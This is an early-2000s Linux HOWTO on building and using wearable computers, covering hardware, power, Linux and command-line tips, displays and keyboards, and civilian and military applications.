Nomadism is one of the major trends of our society, now most of the people can work with a laptop computer, but few did the next step: to live, or if you prefer to wear one computer that is a wearable.

1. Foreword

2. What is a Wearable anyway ?

3. Advocacy

  • 3.1 Why ?
  • 3.2 The Wearable concept is not a revolution, it is just an evolution.
  • 3.3 The Wearable may give its user an edge.
  • 3.4 The Wearable concept: a stealth menace.
  • 3.5 Wearable computing: an emerging industry.

4. What CPU ?

  • 4.1 PDA based Wearables
  • 4.2 PC/104 and laptop based Wearables.
  • 4.3 Transmeta's processor the Crusoe.
  • 4.4 Misc

5. Power supply

6. OS.

7. The Sulawesi project.

  • 7.1 Background
  • 7.2 The Sulawesi Architecture
  • 7.3 Sentence translations
  • 7.4 Summary

8. CLI only

  • 8.1 What is CLI?
  • 8.2 Why does one talk about CLI here?
  • 8.3 What can be done in text-mode?
  • 8.4 Bunch of utilities
  • 8.5 Aliases or scripts?

9. Input

  • 9.1 Variations around the keyboard

10. Audio Output

11. Visual Output

  • 11.1 Head Down displays.
  • 11.2 Head UP displays

12. Comms

13. How can I have my Wearable ?

  • 13.1 Commercial Solutions.
  • 13.2 Do it yourself.

14. PalmPilot and its clone ( IBM, HandSpring, TRG ): a new breed of wearables.

  • 14.1 The palm family.
  • 14.2 PDAs runing Linux.

15. How to carry my wearable ?

16. Applications with Wearables.

  • 16.1 In the army now.
  • 16.2 At the hospital
  • 16.3 With the firefighters
  • 16.4 Wearable for the disabled.

17. A borg's life.

18. Nanotechnology: one step beyond.

19. Sources of Information.

  • 19.1 Non commercial
  • 19.2 Commercial.
  • 19.3 Reading.

20. To do List.

21. Revision History.

22. Thanks and Credits.

23. Copyright, Disclaimer and Trademarks


Wearable-HOWTO.: Foreword

 Next Previous Contents

1. Foreword

I am not a guru in wearable computing, simply after some years using HP95LX and HP200LX palmtop computers more like wearables than like a PDA ( thanks to DOS 5, the HP200LX even allowed me to do a semester CS project using turbo pascal while commuting in the subway ), and living with a palm IIIx and a laptop running Linux, to me the next step is having a wearable running Linux, thus I have spent more than a year reading various informations on wearable and taking a little part in the wear-hard mailing list. As more an more people will be interested in the wearable concept I have decided to start this HOWTO in order to help them ( At the time of this writing I am building my own wearable using my laptop ( Toshiba 430CDT ) with a twiddler keyboard, emacspeak, and camcorders batteries. )

Some people may, at least, be surprised to find the "In the army now" section so I would like to explain my position: I am trying to write this HOWTO both as a journalist and a scientist would do: this implies as a journalist to look for information from every source available, and as a scientist to be neutral: and as the US Army is willing to purchase more than 30.000 units one can hardly overlook this user group. This document is intended to be the starting point of a long term work. If you have any information ( that can be checked ) that you think is of interest, do not hesitate contact me.


Wearable-HOWTO.: What is a Wearable anyway ?

 Next Previous Contents

2. What is a Wearable anyway ?

Well, as it name implies a wearable is a computer you are supposed to wear, actually very few wearables fill this definition. On a more practical point of view one can define a wearable as a computer you can use on the run relying only on its power supply ( see the power supply section for more information ). So with such a definition PDAs, palmcomputers, customized laptops are wearables too. As Wearable computing is a new field, there is no standard definition for a Wearable computer, but you may find Professor Steve Mann's definition very . To me medical devices such as pacemakers too are Wearable computers and they don't fit in Professor Steve Mann's definition ( actually Professor Steve Mann is one of the Pionneers in Wearable computing ) On the Wearcomp website there is also a FAQ trying to define what a Wearable is.

I am not a specialist in wearables, simply I have a very strong interest in nomadic computing and I studying a lot its implementations both from a technical point of view and from the way nomadic computing is going to change our every day life and the way we interacts as we are getting more and more connected.

This text is included in the LINUX DOCUMENTATION PROJECT http://www.linuxdoc.org/HOWTO .

The latest version of this document is available in HTML format at http://infonomade.linuxfr.org/Wearable-HOWTO.html or at http://www.thewearables.com/mirrors/Wearable-HOWTO/Wearable-HOWTO.html

, you can retrieve the postcript format at

http://www.thewearables.com/mirrors/Wearable-HOWTO/Wearable-HOWTO.ps.gz

If you wish to mirror it or to translate it, please contact me.

Lionel, Trollhunter Bouchpan-Lerust-Juéry <trollhunter@linuxfr.org> or at <boucli27@altavista.net>


Wearable-HOWTO.: Advocacy

 Next Previous Contents

3. Advocacy

Some people may want to know why you want to build a wearable or you may have to sell your idea to the people who are responsible for the purchase. Here are some ideas you may use.

3.1 Why ?

Because, you want to experiment by yourself, because you think that Human Computer Interaction is not a matter of designing the n-th windowmanager, because you feel that enhanced reality is the cutting edge of your evolution.

3.2 The Wearable concept is not a revolution, it is just an evolution.

Some people are afraid of revolutionary or so called products, thus the good news is that the wearable may look like a revolutionary concept but it is actually just an evolution of the computing hardware. Let me explain that : At first there was the Mainframe, then came the desktop computer enabling people to work in their office, latter the PC enabled these people to work at home too, as time passed the portable PC enabled people to work in a Hotel room, or everywhere they could find a power plug ( yes an Osborne or an IBM's convertible were definitively not laptop computers ), at the same time some pocket computers appeared on the market : Sharp PC1500, Canon X07, Casio PB100 then the first one weighted less and less, the second one disappeared but the LCD screen was, with other things their legacy allowing the laptop to emerge, as the laptop went mainstream, its size went smaller allowing people to work in the train, at the library ..., then palmtop PC's such as the HP95LX and PDA's appeared, ( at this time the most successful is the PalmPilot family and its clones ) allowing people to work on the move, so the wearable is just the next step in this move towards miniaturization. ( If you want to learn more about Laptops and Linux you should read the Laptop-HOWTO, the latest version can be found at Werner's Heuser Homepage )

3.3 The Wearable may give its user an edge.

In today's competitive world it is very important to get an edge over the other company, thus for example in a plane repair company the engineers who are using wearables do not waste time in asking for blueprints but instead have the blueprint and the technical data at will while performing their job, thus they will be able to repair the planes faster. You may choose an example in your job.

3.4 The Wearable concept: a stealth menace.

When they made their first appearance on the market, some products or technologies were, to say the least, less than perfect. This is a stealth menace, if you read Clayton Christensen's book "The innovator's dilemma: when new technologies cause great firms to fail" or Andy's Grove "Only the paranoid survives" you will see that some corporations that relies on a product and that have a king of the hill may fall down because they overlooked a new product/technology that was clumsy at its beginning and was at first in a market niche, then the contender took over the market.

3.5 Wearable computing: an emerging industry.

The people who decide to fund your project are not always very found about technical details, thus you will have to use other arguments, otherwise your pet project will be sent to /dev/null. If one reads again chapter 2 of AP Sloan's book: "My years with General Motors" it is obvious that the Wearable industry is going into the same changes as did the automobile industry in the US at the turn of the century : it turned from a Hobby with some small manufacturers to a mass market Industry. It took nearly 30 years to the automobile industry to change, but the wearable industry should have done this changes in less than 5 years, so if they don't invest on this product others will do.


Wearable-HOWTO.: What CPU ?

 Next Previous Contents

4. What CPU ?

4.1 PDA based Wearables

Usually they use non Intel CPU ( except the HP95/100/200LX ) See the PalmPilot : a new breed of wearables section.

4.2 PC/104 and laptop based Wearables.

Theses devices are using usually an Intel or Intel compatible CPU. Some model even feature a Cyrix Media GX CPU.

What is PC/104 ?

PC/104 is an industrial standard, for PC based systems that can be stacked together in order to create an embedded system. The footprint of theses boards is 4"x4" so as you can see it is a good base in order to start a wearable project.

What about PC/104-plus ?

It is a PCI addition to the PC/104 standard. you can read the PC-104 FAQ

4.3 Transmeta's processor the Crusoe.

It seems that Transmeta hasn't build the fastest chip on the market but has indeed focused on power saving making its processor and ideal choice for a wearable project, moreover it seems that motherboards will be available very soon as Phoenix Bios released their Bios for this chip.

4.4 Misc

Last year there were some alpha based Multia sold for around $100, but it seemed AFAIK that nobody ever managed to build a wearable around one of theses devices.


Wearable-HOWTO.: Power supply

 Next Previous Contents

5. Power supply

There is plenty of choice as long as you use batteries. But be careful __NEVER__ use liquid acid filled batteries it is a Health Hazard for this application.

Now the four main sources for information on batteries and batteries are:

  • The Sanyo batteries
  • The camcorders batteries; you may browse
    • Canon
    • Hitachi
    • JVC batteries
    • Panasonic
    • Sony batteries
    and other manufacturer's websites
  • The hoby models manufacturers such as
    • Graupner
    • Robbe
    • Tamya
  • Radioshack


Wearable-HOWTO.: OS.

 Next Previous Contents

6. OS.

For the people whose Wearable is based on a PDA, there is little choice : most of the time they have to do with the PDA's manufacturer OS, AFAIK Linux on Psion series 5 is not mainstream. a commercial solution called WindStone primary targeted to palmpilots with a project to port it to ARM based computers it is made by OSK, so and see. For Mips based PDA type; some of them seem to be able to run NetBSD ( it is a member of the *BSD family of unices running on a lot of platforms ).

For those using a PC derivative, the choice seems to be between Microsoft products or Linux, Well, Microsoft products are not exactly the best choice and DEBIAN/GNU Linux is the winner ( I don't think that for general purposes one has to use a posix .4 compliant kernel ).

There is another contender QNX, but is more industrial oriented, so for hobby or research it is not the best choice.


Wearable-HOWTO.: The Sulawesi project.

 Next Previous Contents

7. The Sulawesi project.

Sulawesi: An intelligent user interface system for ubquitous computing.

7.1 Background

A few years ago, wearable computers were dedicated systems constructed by and for a single person. The machine was customised to suit the owners personal preferences using alternative input/output devices to achieve different interaction techniques, and until now most of the interfaces used on these machines have been an amalgamation of existing desktop user interface systems and novel input/output devices.

The ideal human-computer interface for use in a mobile/ubiquitous environment would be one which listens for its user, understands what the user has asked it to do using speech recognition, gestures, machine vision and other channels of information, carried out the users request automatically, and presented the results back to the user when it is most appropriate and in a suitable format. For example; a machine which could monitor the users respiratory levels, heart rate and movement, the user could ask ``when I fall asleep could you turn off those <user pointing> lights''. This type of interaction with a mobile device or an ubiquitous environment, using spoken sentences and gestures, fall under the category of multi-modal and intelligent user interfaces; and Sulawesi is a framework which provides a basic multimodal development system.

7.2 The Sulawesi Architecture

The Sulawesi system that has been designed comprises of three distinct parts,

  • An input stage, which gathers raw data from the various sensors.
  • A core stage, which contains a natural language processing module and service agents.
  • An output stage, which decides how to render the results from the service agents.
Programming API's allow third partys to create new input, service and output modules and integrate them with Sulawesi.

The input stage

The system gathers real world information through a well defined API. The current implementation includes a keyboard input, a network input, a speech recognition input, a video camera input, a G.P.S. input and infra-red input. The inputs do not do any pre-processing of the data, they only provide the raw data to the core of the system for interpretation by the services within.

The core stage

The core of the system contains a basic natural language processor which performs sentence translations. This converts a sentence into a command stream from which two pieces of information are extracted, which service to invoke and how the output should be rendered. A service manager is responsible for the instantiation and monitoring of the services, it also checkpoints commands to try and provide some kind of resiliance against system failures. The services produce, where possible, a modal neutral output which can be send to the output stage for processing.

The output stage

The output stage takes a modal neutral result from a service and makes a decision on how to render the information. The decision is made based on two criteria, what the user has asked for, and how the system percieves the users current context/environment.

If the user has asked to be shown a piece of information, this implies a visual rendition. If the system detects that the user is moving at speed (through the input sensors) an assumption can be made that the user attention might be distracted if a screen with the results in is displayed in front of them. (imagine what would happen if the user was driving!).. In this case the system will override the users request and would redirect the results to a more suitable renderer, such as speech.

7.3 Sentence translations

When humans recognise speech they do not understand every word in a sentence, sometimes words are misheard or a distraction prevents the whole sentence from being heard. A human can infer what has been said from the other words around the ones missed in a sentence, this is not always sucessfull but in most cases it is satisfactory for the understanding of a conversation. This type of sentence decoding has been called semi-natural language processing and has been implemented using a few basic rules, the example below explains how the system converts human understandable sentences into commands that the system understands :

  • could you show me what the time is
  • I would like you to tell me the time
It can be argued that in practice these sentences result in similar information being relayed to a user. The request is for the machines interpretation of the time to be sent to an appropriate output channel, the result is the user receiving the knowledge of what the time is. Closer inspection reveals that almost all the data in the sentences can be thrown away and the request can still be inferred from the resulting information.

  • show time
  • tell time
In the example above there has been a reduction to 1/4 and 2/9 of the number of words (data) in the sentences, while it can be argued that close to 100% of the information content is still intact.

The system implemented allows sentences to be processed and interpreted. The semi-natural language processing is achieved through a self generated lookup table of services and a language transformation table.

The service names have to be unique (due to the restrictions on the file system) and this provides a simple mechanism to match a service such as ``time'' within a sentence. It is impractical and almost impossible to hard code all predefined language transformations, and such a system would not be easily adaptable to diverse situations. The use of lookup tables provides a small and efficient way in which a user can customise the system to their own personal preferences without having to re-program or re-compile the sentence understanding code. The system knows what the words 'show' and 'tell' mean in the sentences by referring to the lookup table to determine which output renderer the results should be sent to.

Example of a lookup file.

|tell|speak|
|read|speak|
|show|text|
|display|text|
|EOF|
The top entry in this lookup table specifies that the first time the word "say" is encountered in a sentence the results of the service should be sent to the "speak" output renderer.

The use of lookup tables inherently restricts the use of sentences, in order to create a sentence which is to be understood the following rule must be adhered to.

<render type> <service name> <service arguments>

7.4 Summary

The above system enables a sentence like ``I would like you to turn the lights on when it gets dark''. The system interprets the sentence as a request to invoke the `light' service and to render the output using some kind of light controller device to turn on or off the lights. There are two points which need to be emphasised here, the first is on the machine inferring a meaning from a relatively natural sentence rather than the user having to adapt to the machine and remember complex commands or manipulate a user interface. The second is on the machine being asked to perform a certain task when certain conditions are met in the real world, ``when it gets dark'' requests that when the computers interpretation of the current lighting conditions cross a certain threshold, it should respond and send a message to the light controller output.

The Sulawesi system provides the flexability to achieve this type of interaction but it does not provide the underlying mechanisms for controlling lighting circuits, that's the part you have to code up ;)..

Online documentation and downloads can be found here:- http://wearables.essex.ac.uk/sulawesi/


Wearable-HOWTO.: CLI only

 Next Previous Contents

8. CLI only

8.1 What is CLI?

CLI is a shorthand to the Comand Line Interface. When you are installing Linux on your computer without X, you will work in CLI-mode! Perhaps you will shout "oh... that's horrible", but your computer will shout "yeah... I have more %CPU and %mem to work and to play!".

8.2 Why does one talk about CLI here?

Some wearables may have problems with graphics chipsets, disk and memory space and battery-life. If you work in text-mode, you will save battery-life and disk usage as well as lot of memory and CPU Cycles. And if you don't have to install graphic interfaces, you will save a little disk-space too. Consequently, you gain some space for your data. But you may feel that in text-mode, nothing can be done. As you will see the same things can be done in text-mode and graphic environment. Only things are thought differently.

8.3 What can be done in text-mode?

We have to think with what we have few programs who can communicate between them by input/output canals. This type of environment implies that we must use all our fingers to work, we can even get rid of the mouse. As in X, you have editors (Vi, Emacs, Jed...), games ( BTW wearables are the game by themselves ), viewers/browsers ( ?less, ?more, lynx, links ...), file managers ( mc...) and more. Also, some people may believe that CLI is cool but it's difficult to learn all configurations and options of all commands. The learning curve is acutally steeper, but when you have learnt that, you will work faster and the faster the work is done the better it is with a wearable . We'll see examples which accelerate our personal work.

8.4 Bunch of utilities

Shell and script-language

Bases of UNIX are its powerful shells. With shells you can do more than the poor batch-language of Microsoft. UNIX gives a lot of powerful shells (tcsh, ksh, bash...), but I always work with sh. I know it is old and less featured than its big brothers but it is on every Unices. In sh, there are often used functions/commands (echo, test). Why do I say that? You can notice that GNU gives a program echo and test and I say: "if we can eliminate these programs, we can free disk-space... ok, not too much but about 20k.". And some versions of sh are very economical. The language of shell (script) is like a small programming language: you can used loops (for, while), user interactions (read), I/O (< >)... To learn scripting, you just have to type: man sh (or tcsh.... but more complex...). Stupid example of a little script: for i in * .[^.]*; do echo $i; done (simple ls).

Must I learn sed and AWK?

In the Unix's world, we hear a lot about AWK and sed. These programs are generic and can be used for a lot of things. GNU gives a bunch of utilities that can replace sed and AWK (dd, cut, seq, ...). Why dd will you ask ?

dd have a little function that is fine: conversion low/up case. An example:

There are names in this directory that are in uppercase but you want to change them to lowercase. With AWK, you must type: for i in *; do mv "$i" "`echo $i | awk '{print tolower($0)}'`"; done; with sed you must enumerate all letters; with dd, it's very easy, I think: for i in *; do mv "$i" "`echo $i | dd conv=lcase`"; done

cut is a program to print columns of a text. Also, if you must print different columns of a line, you can use cut. cut performs better than AWK in this case if you want the job to be done fastly and efficiently because cut is dedicated to this work. For the same task, you may use the shell's internal commands too (you can, if you assign a value to the IFS variable). Here is an example in AWK, cut and sh. We want only to display a list with login : identity fields:

  • in AWK:
    awk -F: '{ print $1" : "$5}' /etc/passwd
  • with cut:
    while read line; do echo "`echo $line | cut -d: -f 1` : `echo $line | cut -d: -f 5`"; done < /etc/passwd
  • only with sh:
    IFS=':'; while read a b c d e f; do echo "$a : $e"; done < /etc/passwd; IFS=' '
Generally, you haven't to learn AWK. I think that you can always do things without AWK. (OK, sometimes, AWK is easier.)

About sed, the drawback is that you must work with temporary files. If you want to save disk-space and to edit files in command-line, you can use ex, the script version of vi. Also, sed can be used but not necessarily.

Redundancies in utilities?

If disk-space is very important, you can delete certain programs which perform task that can be done by others programs. For example: if you have to use dd, you don't need cat, if you have vi, you don't need ed (help me to find other examples...).

8.5 Aliases or scripts?

Scripts are more powerful than aliases. But scripts eat disk-space and are loaded each time they are used. Aliases eat memory-space and if you are in CLI, you have all the memory for you! Aliases are faster than scripts because they are loaded from memory and not from disk.

Generally, shells offer you another alternative for aliases/scripts: functions. Functions have power of scripts with the convenience to eat only memory-space. To learn aliases and functions, you can look at the manpages.


Wearable-HOWTO.: Input

 Next Previous Contents

9. Input

9.1 Variations around the keyboard

Mini keyboards

Usually theses devices are on the wearer's forearm or wrist.

The WristPC Keyboard and the Arm mount micro keyboard from the Phoenix Group Inc. are typical from this concept.

One hand keyboard.

IMHO it is the best concept because it doesn't require you to look at the keyboard while typing is the less intrusive when you have to deal with other people, and in order to be accepted by other a Wearable wearer's must have the lowest visual signature.

The archetype of this concept are the Twiddler and Twiddler2 and all of their clones.

At first using a twiddler may seem to be a little bit confusing. The very first thing to do is to read the manual ( don't forget to plug the keyboard or the PS/2 adaptator or your twiddler won't work because it will get no power supply. ) The reference card may, at first, seem confusing because when you are working with your twiddler you are behind the buttons and the reference card show you the buttons from the front side not from the rear so you will have to switch right and left. When you have passed theses steps you will quickly learn how to use it and IMHO it feels very comfortable to use. The way the integrated mouse operates is very natural too.


Wearable-HOWTO.: Audio Output

 Next Previous Contents

10. Audio Output

When your system doesn't output too much data, or in order to signal some special events an audio output can do the job. Most laptops come with a Sound Blaster compatible sound card and a lot of PC-104 cards are sold with such a sound card on board or you should buy a sound module. The next step is to redirect your text output to a text_to_speak program.

As a lot of input is done using emacs, it seems to be a good idea to use Emacsspeak


Wearable-HOWTO.: Visual Output

 Next Previous Contents

11. Visual Output

11.1 Head Down displays.

Wristwatch type

Commercial Solutions.

Some manufacturers ( eg Seiko, Citizen, Casio ) manufactured Wristwatches that could be linked to a computer, ( I remember that in 1982 Seiko showed a prototype of a wirstwatch TV ( monochrome LCD )).

Casio has a broad set of wristwatches, some of them could be descibed as Wearables that can display time among other things, of interest are the

  • The PC Unite that can exchange data with a computer using an infra red link.
  • The ATC1200-1V Forester features an electronic compass. plus thermometer and barometer. I used to own one of these it is a great piece of hardware
  • The Technowear products have different features including voice recording, IR remote control, Databank...
  • The GPS watch is one of the most intruiging watch I have ever seen

The Wristwatchcomputer.

In 1998 S. Mann displayed a Wristwatch videoconferencing computer, it runs GNU/Linux and uses an XF86 Server, there is a pinhole video camera on the watch itself. This device is to say the least impressive, some of the software, is downlable and GPLed.

It is also possible to use a 4 lines LCD display connected to the serial port of your laptop ( numerous paper or online electronics magazine offer schematics ).

PDA type

PDA's seem to be a cheap and efficient way of sending and displaying data for a wearable, actually any PDA with a VT100 emulation program and a serial link can be used effectively as a terminal ( I have successfully used my HP200LX running kermit

as a terminal for my desktop, giving me an emergency access to it if the display failed )

11.2 Head UP displays

The distinction between obstrusives an non obstrusives ones is not from the wearer point of view but from the other people, that is is the display forbid to see the wearer's eyes

Obstrusives displays

Hacks with LEDs

Some people managed to use blinking LEDs in order to retrieve information from their device. This is one of the simplest display one can imagine : a LED or a row of LED blinking.

Sony GLASSTRON

Sony sells a device called the Glasstron; in Paris, France the FNAC Montparnasse sells the PVD-V30 glasstron 55 at 13999F ( this is about US $2333 ).

The M1

Tekgear manufactures the M1.

The VRD ( Virtual Retinal Display )

With this device a manufactured by Microvison a LASER LED draws the image on the wearer's retina, the US Navy tested it in the summer 1999, at Hawaii ( see in the army now ).

Nonobstrusives displays

The Microptical corporation manufactures two displays the Integrated Eyeglass display and the ClipOn display.


Wearable-HOWTO.: Comms

 Next Previous Contents

12. Comms

AFAIK Most of the time it is with a radio link, should it be with a radio transceiver or via a cell phone.

It seems that IBM's Personal Area Network or the Bluetooth technology will enable building LANs of Wearables very easyly. ( actualy IBM is also a member of the Bluetooth SIG ).


Wearable-HOWTO.: How can I have my Wearable ?

 Next Previous Contents

13. How can I have my Wearable ?

13.1 Commercial Solutions.

Some companies sells Wearables ready to use out of the Box, hereafter is a list of them.

  • Genesys Technology manufactures a Wearable that uses a HMD display.
  • handsfreemobile sells the Mid Riff Brain, it is mostly an LCD touchpad based solution and the unit is in a pouch fixed on the waistband.
  • Teltronics sells the Mentis. It is a modular wearable.
  • Via sells the VIA II PC a Wearable that is worn on the waistband.
  • Xybernaut sells the Mobile Assistant IV ( MA IV ) available with RedHat Linux 6.1, Suse Linux ,Windows 9x and Windows NT4

13.2 Do it yourself.

As wearable computing is in its very early beginning you should make various experiments and share them with your peers. Doing this with an open and versatile OS such as Linux should give you a lot of fun ( after all, desktop computer is just a plain vanilla computer), because you play with both the OS and the hardware. If you are unsure of the technical decisions you are going to make, you can start with a proven design. On the net you can find the specifications of some wearable systems thus you will not have to reinvent the wheel and you will avoid some pitfalls. ( the designs are sorted by alphabetical order ).

  • The Lizzi ; it is the MIT's wearable design.
  • In the UK you can find the Vase Lab Wearable it is from Neil Newman at the University of Essex.
  • In Canada, the Wearcomp is a proven design, by Prof. Steve Mann at the University of Toronto.


Wearable-HOWTO.: PalmPilot and its clone ( IBM, HandSpring, TRG ): a new breed of wearables.

 Next Previous Contents

14. PalmPilot and its clone ( IBM, HandSpring, TRG ): a new breed of wearables.

14.1 The palm family.

The PalmPilot family and its clone is a hit among PDAs, but less known is the fact that it is more than a PDA it is one of the first off the shelves wearable. You can connect it to your cell phone, When on the move you may need an input device more convenient than Graffiti: a keyboard for example, one device exists that allow you to plug a PS/2 keyboard in your palm: Happy Hacking cradle Specially for the Palm.

PFU Happy Hacking sells a PS/2 adapter for the Palm, thus one should be able to hook any PS/2 keyboard on this device. It is battery ( 2 AA ) powered.

It seems that someone has managed to get a twiddler keyboard working with the PalmPilot. If you want to do land navigation it exists an electronic compass you can plug into your palm it is called Palm Navigator and it is manufactured by Precision Navigation They even sell a weather station.

If you have more money to spend or want more precision you can purchase a GPS receiver called Earthmate; it is manufactured by Precision Navigation Some of you may want a software only solution: this can be done. If you have some highly specialized needs like commuting without having the subway map and want a readily made solution you can use a program like Route Expert, I use it on a daily basis, it works great with Paris's subway and I will test it with Berlin's subway at the end of the year ( of course it exists other programs but this one is the one I am using ). I guess everyone can find the North using the sun and a wirtswatch, a PalmPilot can do it with more precision using readymade programs such as T.J's Sun-Compass ( once again there exists other programs but this one is the one I am using ).

The most important with the PalmPilot for the Linux community is the fact that there exists two ports of Linux for it ( DragonBall is a member of the 68000 family after all ). One is GPLed

You can find more information at : uClinux

the second one is commercial, it is based in Korea. WindStone it is based on uClinux and it is coming with its own GUI and widgets.

Thus with the next generation of Palms, the CPU speed will be twice today's speed, and with Linux on board we will be able to run a lot of software that are hardware independent and have been written for today's x86 Linux based wearables.

14.2 PDAs runing Linux.

Samsung displayed a PDA named the Yopi runing Linux. It is an ARMLinux based PDA, 32 MB RAM, featuring a voice recorder, mp3 player,IrDa port, compact flash slot, a 4" color TFT and HandWritting Recognition, plus Serial and USB interface. Word has spread that it should be sold this summer but unti then wait and see.

It exists a Mips based PDA info Center This site focuses both on NetBSD and LinuxCE on MIPS based PDAs.

You can find some information on the LinuxCE port; and you may wish to read the LinuxCE FAQ With theses PDAs one should be able to consider building a nice PDA based Wearable.


Wearable-HOWTO.: How to carry my wearable ?

 Next Previous Contents

15. How to carry my wearable ?

Depending on your wearable's family ( eg Palm, palmtop computer, laptop based, PC/104 ) there seem to be 3 convenient ways of carrying it around. You can carry it on tour wrist, or in a backpack or you can hang it on your waistband.


Wearable-HOWTO.: Applications with Wearables.

 Next Previous Contents

16. Applications with Wearables.

As a rule of thumb the first people who are going to use extensively the wearables are the people whose work is a matter of life and death.

16.1 In the army now.

It is very important in an army to have an edge other the enemy, that is what we have always seen in history, and moreover the army is known to spend vast amount of money in order to get this edge.

Some years ago the infantryman was ordered to carry different pieces of ordnance that came from different sources and were not part of a whole thing, and to try to do his best with theses ( looks like Frankenstein to me ). With theses new projects the infantryman is the centerpiece of a coherent, complementary weapons and equipment system.

  • Australian Army.

    In Australia there is a program called Land 125 Soldier Combat System ( formerly "Wundurra" ( the aboriginal word for Warrior ) ), there is some information on DTSO's website; and according to the ATSE this project should be on phase 2 on year 2000/2001.

    According to DTSO the soldiers should have intra-section radios, night vision and sighting capability and head up display.

  • French Forces.

    In France there is a project called FELIN ( Fantassin à Equipement et Liaison Integrées ( Foot soldier with integrated equipment and links ) )

    in order to enhance the efficiency of the soldier a set of devices had been developed with very careful limitations : historically the foot soldier has been a beast of burden, thus the FELIN project wishes to limit its load at 25kg. The soldier has got a radio link, a computer and a camera on his weapon ( allowing him to open fire from cover ). The display is done with a monocular HMD.

  • UK Forces.

    The FIST ( Future Integrated Soldier Technology ) project: Early tests were conducted on Salisbury Plain to determine if the soldier could access information either 'Head Up' ( in a helmet display ), 'Head Down' ( on a wrist mounted display ), via a palmtop computer or if necessary a map

    lessons learned ( in L'armement issue 67 September 1999 )

    • There is no scope for enhancing soldier performance through the provision of tactical information unless the soldier can access information 'on the move'
    • The preference, both by day and night was the helmet display.
    The FIST Digitization Trials will be conducted on Salisbury Plain in June and November 2000. The June trial addresses information flow, the November trial will address the benefits of enhanced information to determine if there is a consequent increase in the 'Tempo of Operation'.
  • US Forces

    • The land warrior program

      It is a system made of 5 subsystems cooperating together.

      • A Pentium Computer/Radio Subsystem (C/RS) made by Motorola featuring an integrated GPS receiver
      • The Protective Clothing and Individual Equipment Subsystem (PCIE) made by Gentex
      • The Weapon Subsystem (WS) made by Raytheon
      • The Software Subsystem made by Raytheon
      • The Integrated Helmet Assembly Subsystem (IHAS) made by Honeywell

      The location of each squad member will be available through the IHAS, as well as digitized maps and tactical information. Every soldier will have an integrated GPS as well as video recording capabilities. Of course the soldier will have night vision capability as well as deported sighting. Tests should take place during year 2000. More info on the Land Warrior program at

      http://www.sbccom.army.mil/programs/lw/index.htm

      ( There is even a FAQ and pictures ). AFAIK this is going to be the biggest test for the wearable concept because the Army is planning to purchase 34000 units plus spares.

    • The navy.

      During the summer 1999 news poured that the US Navy tested the Virtual Retinal Display at Hawaii. The explanation is that there doesn't seem to be enough space in the fighting ships because of the numerous CRT, so it is conceivable for the crew to wear VRDs

      Needless to say, that some very low profile and highly specialized units should have adopted the wearable concept but as far as we cannot have evidence we can only speculate on that.

16.2 At the hospital

The Microvison's VRD has been delivered to the Wallace Kettering Neuroscience Institute, Dayton Ohio, for neurosurgery applications. This is not a full featured wearable solution but it is a big step toward the adoption of wearables in health care activity. ( on the website you can view a simulated image ).

16.3 With the firefighters

Firefighters are using thermal cameras in order to see through the smoke, in the next years theses devices should be miniaturized and with a wearable firefighters should have both hands free and will have real time access to data such as the map of the building and numerous helpful informations.

16.4 Wearable for the disabled.

One can easily think that a wearable computer can be very helpfull for the disabled people, for example for blind people a wearable with a GPS receiver, some maps of the surroundings and even more, interacting with its surroundings by means of active beacons can be a very good substitute for a dog, the elements exists for a long time.

This should be easily done : the linux comunity has good text to speech applications, voice recognition is quite ready for this application , the IrDA or Modem radio drivers are OK, the same applies to the GPS programs, we have to develop an electronic blind walking stick in order to detect the obstacles at a much reater range and last, but not the least to convince the autorities.


Wearable-HOWTO.: A borg's life.

 Next Previous Contents

17. A borg's life.

This section deals with Human-Human interaction. As the wearable is quite new for the layman one has to expect some strange reactions from the other people. When I go out and read my PalmPilot's screen while walking or in the subway people have one of the following reactions :

  • No reaction: because they are in their own world or because they don't care.
  • Curiosity: they come to me and ask me questions like "what it is", "what are you doing with it" and "how much does it cost ?"
  • Disdain : they may think I want to draw attention.
  • Hostility/Fear : "this guy is nut: avoid him".
Steve Mann Gave an interview in the New Scientist magazine and as he was one of the first to test the waters, so he has a long experience in this field. The second problem is that the wearable's hardware is quite expensive and some predators will spot a new device that can be easily stolen and sold at a good price, or just in order to have one of them. As a conclusion you have to be very cautious.


Wearable-HOWTO.: Nanotechnology: one step beyond.

 Next Previous Contents

18. Nanotechnology: one step beyond.

At the time of this writting, we are in a transition era: the nanotechnology is an emerging science that is going to change a lot of things in the computing field.

For more information on nanotechnology, the http://www.nanodot.org website is a good place to start.


Wearable-HOWTO.: Sources of Information.

 Next Previous Contents

19. Sources of Information.

19.1 Non commercial

A good starting point to gather information is to subscribe to the wear-hard@haven.org mailing list, you have to send a message with the word subscribe in the subject to wear-hard-request@haven.org.

The archive of this mailing list is mirrored at Wearable Central This site was founded to be an archive center for the mailing list and the newsgroup. It is maintened by R. Paul McCarty.

You can also read one of the very good FAQs such as the wearcompfaq or you may go to the wearable webring ( at the time of this writting the webring lists 35 sites ).

19.2 Commercial.

You can find information on the web sites of the company cited in the various sections of this document and as stated earlier in this document : The companies quoted here are just for your information only, I do not endorse any of their product, this just in order to help you.

19.3 Reading.

Some science fiction books can be a good introduction to Wearable computing. Among other books one can think of ( alphabetical listing ):

  • Diamond Age by Neal Stephenson ( a lot of nanotechnology too ).
  • Snow Crash by Neal Stephenson
  • Virtual Light by Willian Gibson


Wearable-HOWTO.: To do List.

 Next Previous Contents

20. To do List.

This section is about things that have to be done for the next releases if you wish to contribute it is a good place to look at.

  • Organic Leds are very interesting, I should cover theses too.
  • To expand the input/visual output sections.
  • To expand and reorder the advocacy section.
  • To have an "in the car" section.
  • The concept of an UW wearable seems viable lets think about it.
  • List and describe all projects.
  • List and describe all products.
  • To get some sleep ;-).


Wearable-HOWTO.: Revision History.

 Next Previous Contents

21. Revision History.

  • v 0.0.9 November 2000, 3rd release
    • Fixed: What is a Wearable anyway section: Typo in URLs
    • Expanded: What CPU section.
    • Expanded: Power supply section.
    • Rewritten: OS section.
    • Rewritten: Sulawesi section rewritten by The sulawesi project founder Neill Newman. <njnewm@essex.ac.uk>
    • Added: CLI only section written by Manu Coutris. <coutris@ie2.u-psud.fr>
    • Added: One step beyond section.
  • v 0.0.7 March 2000, second release.
  • v 0.0.5 December 1999, first release.
  • v 0.0.1 November 1999, first draft.


Wearable-HOWTO.: Thanks and Credits.

 Next Previous Contents

22. Thanks and Credits.

  • I would like to thank among other people:
    • Werner Heuser <wehe@snafu.de> for the work he has done maintaining his Laptop-HOWTO
    • The people of the Wearable mailing list which proved to be very informative and open minded.
